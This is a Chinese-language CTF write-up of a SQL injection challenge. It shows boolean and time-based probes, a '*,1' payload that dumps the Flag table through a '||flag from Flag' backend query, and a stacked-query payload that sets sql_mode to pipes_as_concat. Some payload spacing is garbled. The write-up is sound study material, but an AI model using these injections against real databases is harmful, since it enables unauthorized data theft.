输入1,有回显
img1.png
img2.png
输入1’,没回显,应该存在sql注入,猜测可能关闭了错误回显,报错注入可能行不通了
img3.png
img4.png
1 and length(database())>=1#
img5.png
1' and length(database())>=1#
img6.png
1 and if(length(database())>=1,1,sleep(5))#
img7.png
查看有哪些数据库,这次终于可以了
img8.png
img9.png
img10.png
通过大佬们的blog知道:
这道题目需要我们去对后端语句进行猜测
1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
2、也就是select 输入的数据||内置的一个列名 from 表名=>即为
select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知)
此时的||起到的作用是or的作用
解法1
内置的sql语句为
sql=“select”.post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了
select*,1||flag from Flag
也就是
select*,1 from Flag
也就是直接查询出了Flag表中的所有内容
img11.png
解法2
输入的内容为
1;setsql_mode=pipes_as_concat;select1
img12.png
我们执行的语句分别为
select 1
setsql_mode=pipes_as_concat
select 1||flag from Flag
读出flag
img13.png
??一些疑惑:
**为啥select_,1||flag from Flag = select,1 from Flag?_

select 1 from table;的结果是什么?
img14.png
可以看到,查询结果为列名为1,一共六行
select任何一个常数都会在表中新建一列,然后查询出那一列的内容。
结论:
select 1 from Flag的结果就是一排1,这一排有几个数据取决于表的行数多少
这篇博客有介绍:https://www.cnblogs.com/jiechn/p/3979261.html
img15.png